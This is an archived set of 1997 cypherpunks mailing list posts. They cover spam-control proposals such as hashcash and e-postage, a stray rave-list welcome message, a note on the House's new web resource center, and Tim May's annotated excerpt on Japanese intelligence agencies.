Finger jito@nsm.eccosys.com or jito@garage.co.jp for PGP Key
Fingerprint for RSA PGP Key ID 0x0EE23A2D
0D3A 7AAA 3DA8 E7B3  3AF1 C6FA B7ED D834
Fingerprint for DSS/Diffie-Hellman PGP Key ID 0x2D9461F1
58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ito.com



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: travel23@juno.com (The Traveler)
Date: Mon, 4 Aug 1997 00:06:58 +0800
To: cypherpunks@toad.com
Subject: Info on House members
Message-ID: <19970803.115119.3990.0.travel23@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



    WASHINGTON (AP) - Civic-minded Web surfers can review reams of
information about the House - from members' financial disclosure
statements to historical information and archives - courtesy of a new
resource center that launched a site Wednesday on the Internet.
      ``This creates a whole new world,'' said House Speaker Newt
Gingrich,  R-Ga., who helped dedicate the Legislative Resource Center in
a converted storage room beneath the rotunda of the Cannon House Office
Building.
      It combines the functions of several previously separate offices,
including  the House Library, the Office of the House Historian and the
House Document Room, to provide one-stop shopping for information about
the House of Representatives.
      Visitors can also conduct research in person at the office.
      The Internet address is http://clerkweb.house.gov.


--------------
"Sometimes you're the bug, sometimes you're the windshield."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 3 Aug 1997 18:02:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re: your LISTSERV request  "subscribe socal-raves-digest"Re: your LISTSERV request  "subscribe socal-raves-digest"
Message-ID: <199708030954.LAA12408@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~

	Welcome to the Southern California Rave mailing list!

^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~

     Better known as SoCal-Raves, this list is for the discussion of
anything having to do with raves and the underground club/dance scene
in the Southern California area.  This includes the counties of Los
Angeles, Orange, San Diego, Riverside, San Bernardino, and possibly
Ventura and Santa Barbara as well.
     Don't let the broad area scare you.  This list is about the local
scene.  About what is happening near you.  Although rave flyers seem
to think L.A. and San Diego are the only places local DJs are from,
there is quite possibly something going on in your backyard.  And this
is the place to talk about it.

     Appropriate topics include:
       - announcements of upcoming events in the Southern California 
area.
       - reviews of shows/raves/DJs/music/etc.
       - rave-culture like clothes, smart drinks, rave attitude, etc.
       - local radio shows and stations that play rave and techno.
       - where to find the music, clothes, etc.
       - rave picnics and other non-rave rave-related events.
       - how to throw your own rave (and not get busted).
       ...and almost anything else rave related or related to the
          local scene.

     Try not to discuss raves not in the Southern California area or
subjects that don't have anything to do with raves or this area.
Though some discussions of other rave scenes may at times be
appropriate.  And try to keep from getting into flame wars and overly
personal discussions on the list.  Some comments are probably better
kept to personal mail.  Keep in mind that what you are sending to the
list you are sending to everybody.
      Other than that, go for it.  This is your list.  Your scene.
I'm hoping that this list can be a catalyst for helping to improve and
unify the scene in SoCal.  At least we should be able to get that
"community" feeling that so many have trouble finding in the SoCal
rave scene.  And maybe, some day soon, we might even be throwing our
own raves just as the SFRaves list has.

      This list should also be a good place to find out about the
scene in SoCal.  Hopefully soon there will be a calendar list.  In the
mean time please send me any info you have on upcoming raves and I
will compile an upcoming rave calendar and post it to the list once a
week.

      Now for the technical stuff:

      - Any mail sent to socal-raves@ucsd.edu will get sent out to
        everyone who subscribes to the list.
      
      - socal-raves-request@ucsd.edu should be used to subscribe and
        unsubscribe to the list.  To subscribe you should send a
        message with the line "sub socal-raves" or 
        "sub <email address> socal-raves" in the body of the message,
        not the subject line.  The latter form should be used if you
        want to use an address other than the one shown in the "From:"
        line of the message.  If at any time you want to unsubscribe
        or delete your name from the list (we would miss you) the line
        would be "del socal-raves".  If you need help send a message
        with the line "HELP" and you will get a help file on how to
        use the listserv.

      - Administrative problems about the list should be sent to
        socal-raves-relay@ucsd.edu and Vigor Mortis, list administrator
        extraordinaire, will take care of you.
      
      - Any other SoCal-Raves list questions and rave info (for the
        calendar) should go to me at underdog@netcom.com

      Some info about me.  When I started college about a five years
ago I was intrigued by industrial music that was nameless to me at the
time.  Within a year or two I was doing an industrial radio show and
going to underground clubs that played everything from acid house to
industrial danse.  Although many of these clubs were illegal, there
was not a lot of hype, and they were definitely better than the L.A.
club scene (which always seemed to me to be one big pickup joint/ meat
market).  They were basic.  Raw.  Even tribal.  Full of energy.  They
gave me a place to dance without feeling pressured to ask some woman
to dance with me who could care less.  I really wanted to start a
"gypsy club" of my own in Orange County.  Not for profit, just so that
people might have a local place to go.  But too many things and people
conspired against me.
     Then the word "rave" came into existence and shortly following
808 State's new album.  It seemed to me that all the energy of
Industrial, and the groove of Acid House was forming a new "Techno"
genre and a new scene.  This was a fresh injection of energy.  The
underground parties grew up.  There was new hype and new ideas.  More
of my friends came with me to rave.  And the birth of a new radio
station helped expand the scene.
      It was fun and still is.  But the radio station died.  The scene
mostly caved in on it's own weight (hype and greed only go so far).
Big raves that I paid good money for didn't happen.  And we are left
with what?
      There is still that sense of acceptance.  The sense of unity and
anything goes.  And I think we are starting to come back to that old
feeling of community and being a part of something again.  This summer
a few friends and I were even able to throw a few free outdoor raves.
Though small, these were to be the start of a regular thing for the
summer but the fourth one got busted and we stopped.  I'm hoping that
it will happen again though (legally :).
      The underground scene here always seems to be able to recreate
itself.

      Remember,the rave scene is for and about the people.  About
individual empowerment.  Where an artist in a bedroom can get as big
as the world will allow and where 'people' not 'person' are the center
of attention.

      Big thanks go out to Brian (Vitamin B) and the SFRaves mailing
list for inspiration, Dana Watanabe my co-conspirator in raves and
other things, and Andy Ferrell (Vigor Mortis) for administrating and
offering a place for the SoCal-Raves list.

      I hope you enjoy this list as much as I do.
      Peace and Love.  And may you find a rave wherever you are.

Joachim





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sun, 3 Aug 1997 14:18:54 +0800
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <V5aTae3w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970803114915.686H-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 2 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

[...]

> A compression scheme where many copies of the same text would be transmitted
> only once even if they're posted once would be an excellent thing

I beleave that uucp feeds can do things like this.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

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+ilylf2k1lM=
=gFI3
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sun, 3 Aug 1997 14:22:40 +0800
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <PwcTae8w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970803120122.686I-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 2 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> Tim Skirvin <tskirvin@math.uiuc.edu> writes:

[...]

> > 	Many spam cancellers are news admins.  Most of the major ones are
> > admins, in fact - Chris Lewis, JEM, etc.
> 
> You're splitting hairs.  One very unpleasant cancel-forger, Jan Isley,
> was the admin of a site where he was also the sole user.

[...]

> Well, the third parties got complaints anyway and pulled jan's plug in
> no time. :-)

It is clear from this example that he was not a mainstream spam canceler.

> For the archetypal "spam canceller", please examine Tim Brown's

Tim Brown is not a spam canceller.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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eKmJec09D6Z1TuDCjtgwhH5fBswmG1JBImdJ3SUmiRqbGI7pWJJFsM+wWhq7qb2f
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sun, 3 Aug 1997 14:40:28 +0800
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <199708030134.CAA13809@server.test.net>
Message-ID: <Pine.LNX.3.93.970803121625.686J-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 3 Aug 1997, Adam Back wrote:

> David Formosa <dformosa@st.nepean.uws.edu.au> writes:

[...]

> > The best soultion given so far is Cause's suggestion of modifying
> > the fax law so that we can sue the spammers.
> 
> Law, and suing and the internet don't mix.

You got to be jokeing, what about alomost every AOL vs. Cyberpromo or
Compuserve vs. Cyberpromo or all thouse other ISPs against Cyberpromo.

> Eg. Say I spam you via an anonymous remailer.  So now who are you
> going to sue?

The spammers if there advertising a servese will need someway for me to
contact them.  Some way for me to get the goods.  Just anonomising the
email will not hide there identy.  Any way pushing spammer email though
most email remailers will cause them to crash from sheare volume.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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Version: 2.6.3i
Charset: noconv

iQCVAwUBM+PrK6QK0ynCmdStAQHO5QP+PtZAMkM0LhIlDSiqVyPd0nFkpj9RUyGO
GOHGwCthHRNIOnUVO4RleulbIVErrm6dMauqKM3IL5MtjBz0iDWSQPk06OULq0e+
SQGyhl178H4WfZlZ+G7gcevh/Zyof0/rFJ6YBJX4MXfkitQNRdw4jCSoyiXjK7tt
zM1Cl75OdX8=
=AcLG
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 3 Aug 1997 20:33:31 +0800
To: jf_avon@citenet.net
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <199708030302.XAA08565@cti06.citenet.net>
Message-ID: <199708031129.MAA00973@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




jf_avon@citenet.net writes:
> On  3 Aug 97 at 2:34, Adam Back wrote:
> > Eg. Say I spam you via an anonymous remailer.  So now who are you
> > going to sue?
> >
> > Spammers use remailers already.
> > 
> > So your suggest has dire consequences for remailers.
> 
> What you would sue is the entity that is advertized in the 
> message, not the ISP (or remailer)  of course.  If you get harassing 
> mail through the paper mail, would you sue the postal service?

Here's the sequence of events as I see it:

 1. spammer spams you with adverisement for phone sex line
 2. you try to sue phone sex line company
 3. phone sex company denies all knowledge
 4. government says all email must be authenticated 
 5. government issues internet drivers license
 6. anonymous remailers work around authentication requirement
 7. government outlaws remailers

See any flaws in that logical and undesirable sequence of events?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sun, 3 Aug 1997 14:46:58 +0800
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <v03102803b0094859ea52@[10.0.2.15]>
Message-ID: <Pine.LNX.3.93.970803122328.686K-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 2 Aug 1997, Steve Schear wrote:

[...]

> >Naturally, rich, indolent technologists tend to favor schemes that
> >will put them in control. :-)
> 
> I can't fuly agree. In Europe, both communism and fascism started from the
> socialists (in fact, the fascist were called National Socialists)

The fascists called themselves Socialists for the same reson that the
main pro logging group calls themselfs _The Forest Protection Socity_ as a
returorical techneek to sucker peaple.

[...]

> and both accept the "... idea of a political party which embraces all 
> activities of the individual from the cradle to the grave, which claims
> to guide his views on everything, and which delights in making all
> problems questions of party...," F.A. Hayek, The Road to Surfdom.

Replace political party with free market and you get the econmic
reationalisum/thatureisum that has chocked socity.  The freandly socilisum
that both the GNU mannifesto and most of the net works on has no such
totalitarian tendencies.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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QdFS2QhRGfU=
=24bD
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 3 Aug 1997 22:56:56 +0800
To: Jeff Barber <jeffb@issl.atl.hp.com>
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <199707312017.QAA05673@jafar.issl.atl.hp.com>
Message-ID: <Pine.LNX.3.91.970803122332.379F-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > I agree.  If charging for mail would eliminate spam, then I should not
> > be getting the mailboxfull of physical junk mail I receive every
> > morning.  Postage benefits the MAIL CARRIER, not the recipient, and it
> > is in the best interests of the mail carrier to carry MORE mail, not
> > less.  So, e-postage will almost certainly cause more spam, not less. 

Hashcash is a more elegant and simple solution to UCE: most UCE is sent 
by small companies looking for a cheap way to get big exposure, they 
aren`t going to have the hardware to generate partial hash collisions for 
every address they want to mail, it would be prohibitively expensive for 
them to buy fast hardware to generate the collisions. Of course large 
companies who can afford to buy, or already have, mainframes will be able 
to send UCE, but most large companies are smart enough to realise that 
with the response rate gained from UCE, the reputation capital lost 
through sending it, and the valuable mainframe time used to generate the 
hashcash, it all adds up to a big shit sandwich.

Adam Back:   I haven`t read the hashcash paper/description for a while, 
can you give us some figures on how much processor time is required to 
generate hashcash for a 10,000 recipient spam, for n recipients?

Sudden and very exciting idea:

What if we could find a way to make the amount of hashcash required grow 
exponentially with the number of recipients? Of course the spammer could 
then find the optimum number of recipients and divide the list of 
addresses to be spammed into blocks of that size but that is a waste of 
sendmail time, also a waste of bandwidth and the overall time would 
probably still be prohibitively high.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"

 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Sun, 3 Aug 1997 18:55:03 +0800
To: cypherpunks@cyberpass.net
Subject: spam is good for you
Message-ID: <199708031050.MAA28488@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



I like it when spam is sent to the cpunks list because it makes the list
less accessible to lamers and wanna-be censors while not really
hurting its value to people who are familiar with configurable/
scriptable mail agents.



(Heck, I've considered 99% of cpunks traffic to be about the
same flavor as spam on my palate for years, so I'm already
comfortable with using heavy filtering as a matter of course.)



In other news, I'm going to  HIP  
and I'm thinking I should have a t-shirt made to piss off the
self-righteous socialist anti-spam activists.  My favorite 
slogan so far is "I may disagree with every spam you send, but
I will defend to the death your right to spam it. --Voltaire".
I consider this to be a powerful meme to broadcast at those
low-tech lawmongers, but it isn't sufficiently.. um.. offensive.
Any suggestions from the peanut gallery?


Of course I have to include my e-mail address on the shirt so
that those who are offended by my advocacy of absolute freedom
of speech can try to mailbomb me.



Over,

Zooko





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 4 Aug 1997 04:11:01 +0800
To: Joichi Ito <cypherpunks@cyberpass.net
Subject: Re: Tim Speaks the Truth / Re: Joichi Ito as a Junior Policeman
In-Reply-To: <199708031231.VAA00231@eccosys.com>
Message-ID: <v03102801b00a8e9c4d82@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




To follow-up on my comments about Chobetsu, the Japanese SIGINT/COMINT
agency, there's a wealth of information in various places. In addition to
the books by Richelson and Hersh that I mentioned, Web searches reveal a
bunch of stuff. (And my own Cyphernomicon, now 3 years old, has material on
it, too.)


At 10:31 AM -0700 8/3/97, Tim May wrote:

>At 5:12 AM -0700 8/3/97, Joichi Ito wrote:
>
>>so they probably are pretty militaristic), Japan does not have the
>>equivalent of the NSA. It really is in Japanese national security interests
>
>And what of Chobetsu?
>
>Cf. Richelson's books on the world's intelligence agencies for discussion
>of Japan's version of the NSA.
>
>I also had a discussion with an NHK crew about Chobetsu and the coopeative
>spying arrangements at the USAF base at Misawa. The NHK folks seemed to get
>nervious at what I was openly discussing with them, and averred that such
>things are rarely spoken of in Japan, at least not as openly as I was
>speaking of them. (I showed them the sections Richelson had on Misawa, and
>Seymour Hersh's revelations about the 6920th and the Naval Security Group,
>Task Force 59, and complicity in the offing of Gough Whitlam of Australia.)

In Japan it is apparently the despised "anarchist" organizations which are
active in exposing the extent of COMINT surveillance of Japanese
corporations and citizens, so the nervousness of the NHK crew is
understandable. Being linked in any way to the Aum cult is a serious matter
in an "anti-terrorism" and "anti-anarchist" regime.

Here's an interesting article from: http://www.twics.com/~anzu/14-JCIA.html

My comments or emphasis are in <angle brackets like this>.


--begin quoted material--
By

>From Tokyo Observer x

It is not yet clear why information was leaked to the New York Times,
once in October 1994, and a second time one year later, revealing facts
concerning CIA involvement in Japanese politics and in trade talks
between the two countries. What is clear, however, is that one of the
major end results of the CIA leaks, whether intentional or not, may be
a strengthening of the Japanese intelligence apparatus. For example, in
response to the second report, an anonymous Japanese foreign
ministry official told the Daily Yomiuri that it was not surprising that
the U.S. had spied on Japan because there was no anti-spying
legislation in Japan. Such moves to strengthen the intelligence
apparatus are not new, of course, but they have become much more
forceful in recent years. In October, 1994, soon after the first CIA
leak, two articles appeared nearly simultaneously in the Japan Times
and Time magazine concerning the possible formation of a new
intelligence "superagency." Ueno Teruaki, in the Japan Times, quoted

<Joichi should ask if the national policy council he is to sit on, like any
good journalist would surely volunteer to sit on--NOT, is involved in this
reported creation of an intelligence "superagency.">

"Japanese spies" as saying that "it is in the nation's interest to get
independent assessments of situations instead of accepting the
offerings of allies." And in the Time article, Nishihara Masashi, a
research director at the National Institute of Defense Studies was
quoted as saying, "we need more independent intelligence if we are
going to play an expanded role in international affairs." In the wake of
the second leak in October 1995, these calls have only grown more
strident, and this leaves open the possibility that elements within the
U.S. administration may have hoped to use the revelations as a lever
to push Japan into bearing a greater share of its "defense burden."
Conservative public opinion magazines such as Bungei Shunju and
SAPIO have published papers, typically light in information content
but heavy in rhetoric, decrying Japan's lack of ability to defend itself
in the coming "intelligence wars." Conservative critics have renewed
calls for the passage of some sort of "anti-espionage" legislation, an
issue that was a favorite of Nakasone Yasuhiro during his
administration in the early 1980s (though Nakasone was unable to get
the law passed). The typical claim of these commentators is that
Japan's intelligence capabilities are in a crippled state, and that (though
this is generally unstated) when relations with the U.S. deteriorate,
Japan will be left vulnerable. These calls have, in fact, led to concrete
plans to unify them into a single super agency modeled on the CIA in
the United States. Japan's "Crippled" Intelligence It would be a
mistake, however, to take at face value the claims that Japan's
intelligence-gathering capabilities are "crippled." There are, in fact, a
whole series of offices that deal with such matters, though it is true
that they are (like most Japanese bureaucratic functions) divided
between agencies with conflicting interests, who may at times be more
interested in guarding their own territories than in doing any real
work. At present, Japan's main central official intelligence-gathering
agency is the so-called Naicho, a small section of the Prime Minister's
Office staffed by some 80 personnel who analyze information from
abroad. Proponents of a strengthened apparatus claim that this group
is basically ineffectual, and spends most of its energy having outside
researchers and professors translate newspaper articles and official
documents from abroad. It is supposed to act as a coordinating agency
for other groups in the government, but, the critics say, it does not. In
a recent issue of Jiyu Ishi, an anarchist publication, however, one

<Jiyu Ishi could be a candidate for mirroring, if it is suppressed in the
wake of the hysteria about the Aum Shinrikyo religious group and the spread
of anarchist material through Japan.>


author claimed that this office is currently being strengthened to
conduct surveillance on citizen activists. The two largest government
sections that are involved in intelligence are the Public Security
Investigation Agency (Koancho) - which is mainly involved in
counter-espionage - and the different intelligence sections of the
Defense Agency and Self-Defense Forces, in particular the group
called Chobetsu, with some 1,100 personnel, under the Joint Chiefs
of Staff, which analyzes radio and other transmissions in and around
Japan. There are also sections within the Foreign Ministry, MITI

<I'd say that this pretty much matches what I said about Chobetsu being the
Japanese equivalent of the NSA. Maybe not as large a staff as the NSA, even
in proportion to population, but certainly so in proportion to the relative
sizes of the armed forces. And Chobetsu makes use of facilities built in
Japan by the various arms of the NSA, including the affiliated Naval
Security Group, Army Security Agency, and Air Force Intelligence
operations.>


(through its external trade organization, JETRO), the National Police
Agency and the Metropolitan Police Department that deal with
intelligence work, though on a smaller scale. Attention has recently
focused on the Koancho and Chobetsu, the two largest agencies, as
they are currently jockeying for position in the new "superagency" that
many are calling for. The Koancho, for its part, was set up in 1952 as
an agency to investigate and control internal subversion, and its

<Controlling internal subversion?>

activities focus mainly on the far left and right, as well as the Japan
Communist Party, which was its main target during its early years. In
addition, it is probably the single group in Japan that is most
responsible for surveillance of resident Koreans, as statements made
by sources within the Koancho almost invariably point to how "North
Korea is scheming against Japan." At present, it is focusing its
surveillance on Aum Shinrikyo, partly in a move to gain increased
legitimacy. It is staffed by some 1,800 investigators. The New
"Superagency" The Chobetsu, for its part, is part of the Self-Defense
Forces, so its main focus is on military intelligence. Its main targets

<There's that mention of Chobetsu again. Sure sounds like the Japanese
equivalent of the NSA.>

are, naturally, the Korean peninsula, China, and Russia. There are
plans, however, which have not been well carried in the mainstream
press (though they are not in reality secret) to unite the different
groups within the defense community into a new "superagency"
which would rival the CIA. In next year's budget plan, funds have
actually been appropriated for the construction of a new headquarters
to house the Defense Agency and SDF in Ichigaya, Tokyo (the site,
incidentally, where Mishima Yukio committed suicide in 1971). This
new installation will be used to house the new superagency, or
"information headquarters," and the staffing level is eventually
expected to reach 5,000 or even 6,000 personnel, half of whom will
be field agents. Oddly enough, the focus of this new agency, if one

<6000 employees....now that's starting to look more like a large,
NSA-scaled operation! And Joicho Ito can be a part of this grand and
glorious venture! What would-be journalist wouldn't jump at the opportunity
to become one with Big Brother?>

takes the military planners at their word, would seem to be almost
exclusively domestic. What this means is that a further 3,000
personnel will be added to the 1,800-odd existing investigators in the
Koancho whose main task is to look out for spies inside Japan. There
is hardly any focus, however, on events outside. This is partly due,
no doubt, to the existence of Article 9 of the Constitution, which (at
least according to the most accepted "interpretation" forbids Japanese
military forces from operating outside of the country. It is known, for
instance, that Japan's military planners would like to launch a military
surveillance satellite, but they have not (yet) been able to carry out the
plan. If we look at espionage, we find that JETRO has also attracted
some attention in recent years, but only because of the larger focus
given to economic intelligence, and the fact that JETRO's activities are
mostly focused on Japan's nominal allies in the U.S. and Western
Europe. Given a system where most of the heavy-duty agencies such

<This "JETRO's activities are mostly focused on Japan's allies in the U.S.
and Western Europe" point is of course well-known. My old employer became
concerned that chip plans and factory schedulings were being intercepted by
Japanese SIGINT facilities and relayed to MITI and to its competitors. My
employer took steps to secure its communications. And of course the NSA was
doing similar espionage on Toshiba, Hitachi, etc. Nice to know that under
the New Crypto World Order, corporations will have to register their keys
with the local governments....somehow I think the U.S. will balk at forcing
Intel and Motorola to deposit their keys with the Rising Sun Imperial Key
Recovery Office.>


as the Koancho are almost solely focused on counter-espionage,
JETRO is obviously involved in a project of a different nature.
"Outside Agencies" In numbers, the Japanese intelligence community
may seem, indeed, to be a hobbled version of its counterparts in the
U.S., Russia, France, or Israel, especially in terms of espionage,
though the inauguration of the new "information headquarters" may
change this image. When looking at Japanese intelligence-gathering
capabilities, however, due consideration must be given to the fact that
these functions have historically been "subcontracted" out to the
private sector. During the early 20th century and in the prewar and

<"Subcontracted out to the private sector." Now there's the real
explanation for why Japanese intelligence agencies are not yet staffed at
NSA-type levels. The MITI-influenced corporations are working closely with
the SIGINT facilities. Could be why that design tape for the x86 series
vanished upon arrival in Tokyo...whoops, now Chobetsu will have to shoot
me.>

wartime periods, it is well documented that Japanese trading
companies were valuable sources of information to government
agencies. Nor can it be said that such relationships no longer exist. In
a recent issue of Bungei Shunju, a retired Koancho official wrote of
the existence of an "external organization" called Kyudankai, which
had the function of analyzing information (hence espionage) on
military movements in the Soviet Union. In fact, he claimed that this
group had knowledge of the impending 1980 invasion of Afghanistan,
and communicated these suspicions to the Japanese government.
Interestingly, the article was obviously an attempt to boost the prestige
of his organization, but it ends up giving credibility to suspicions that
Japan's intelligence services are not as crippled as they might first
appear to be. We are thus left with the suspicion, albeit
undocumented, that other similar organizations continue to exist today
and to provide privileged information to the Japanese government.

<Seems likely. Instead of working to expose government spying, as Hersh,
Richelson, Bamford, and others have done in the U.S., it seems that
Japanese would-be journalists like Joichi Ito would prefer to work with the
intelligence agencies as they seek to create a Japanese superagency to
monitor dissidents, anarchists, and religious group members. "The nail that
stands up gets pounded down.">


Moreover, it is easy to conclude the inauguration of the new
"information headquarters" in the Defense Agency may augur a period
of increased intelligence activities. A build-up of personnel is
obviously taking place, and in a crisis it seems clear that the tasks of
these people could quickly be reoriented to play a more
outward-looking role. The numbers themselves bear watching.

<And I rather suspect that Ito and other journalists will be loathe to
report on what they learn in their secret planning sessions.>



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 3 Aug 1997 20:06:28 +0800
To: cypherpunks@toad.com
Subject: tcs_gateway2.treas.gov (IRS Harrassment of Cypherpunks List?)
Message-ID: <199708031153.NAA04031@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



After failing to find in the list archives previous posts from the
treas.gov address I was surprised to come across an example in a book
about the cypherpunks that was sent to the list some months ago.
Although I seem to recall this post as being authentic I am unable to
confirm this since my browser doesn't seem to be getting along with the
search engines for some reason or another. Can anyone confirm that the
message below is an authentic message that was sent to the list at the
time stated and with the same message ID? The reason I ask is that I
have found and corelated messages from the same server which indicate
that if the message came to the list with the message ID below then it
was indeed composed and initially sent the day before the article quoted
actually appeared in the newspaper.
If someone could confirm that the following message appeared on the list
with the same header as indicated below I would appreciate it.
(There are some other strange discrepancies I have found in Jim Bells
case too but I will refrain from commenting until I have had a chance to
confirm them.)

The message as portrayed in the book is as follows:
Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id
RAA03183 for
cypherpunks-unedited-outgoing; Wed, 2 Apr 1997 17:40:11 -0800 (PST)
Received: from tcs_gateway2.treas.gov (tcs-gateway2.treas.gov
[204.151.246.2]) by toad.com (8.7.5/8.7.3) with
SMTP id RAA03178 for <cypherpunks@toad.com>; Wed, 2 Apr 1997 17:40:04
-0800 (PST) 

From: IRSNWPR@net.insp.irs.gov
Date: Tue, 1 Apr 1997 15:18:46 -0500
Message-Id: <199704012018.PAA00555@net.insp.irs.gov> 

To: Interested_Parties@net.insp.irs.gov
Subject: Something of interest... 

Sender: owner-cypherpunks@toad.com

The Oregonian, Wednesday, April 2, 1997 

20 armed federal agents raid home in Vancouver 

By John Painter Jr. of The Oregonian staff

VANCOUVER, Wash. - About 20 armed agents from at least three federal 
agencies in four states raided a Vancouver home Tuesday, apparently 
looking for evidence of a plot to kill government officials. 
....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 3 Aug 1997 21:56:28 +0800
To: sar@cynicism.com
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <3.0.2.32.19970803032004.00818890@box.cynicism.com>
Message-ID: <199708031328.OAA02875@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




sar <sar@cynicism.com> writes:
> At 06:32 AM 8/3/97 +1000, ? the Platypus {aka David Formosa} wrote:
> 
> >-----BEGIN PGP SIGNED MESSAGE-----
> >
> >On Sat, 2 Aug 1997, Adam Back wrote:
> >
> >> Next we choose a threshold say 1000 posts per day.  Seems hard to
> >> imagine anyone generating manually over 1000 emails per day.  That's
> >> more than 1 per minute for a 10 hour day.
>
> Take bugtraq which has over 12,000 subscribers. Each post to bugtraq would
> send out 12,000 emails so it would cost aleph one 1200$ per post to his
> list. I dont think anyone would want to run a mailing list under these
> sorts of conditions.

The way such pay for email systems as I see them would interface with
your existing email system is that you would have a list of addresses
which you would be happy to receive email from for free.

Clearly a the list address for a list you subscribed to is an address
you would put in your "receive email without postage" list.

Mail from email addresses not on this list would be expected to
include a valid 0c postage stamp.  If they don't include the postage
the mail gets bounced together with a nag about installing the system,
and possibly a manual way for them to send you the email in spite of
the system

(Note most spammers use non-replyable email addresses, because they
don't want you to know their ISPs address, because their ISP will yank
their account as soon as they figure out what they're up to.)

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

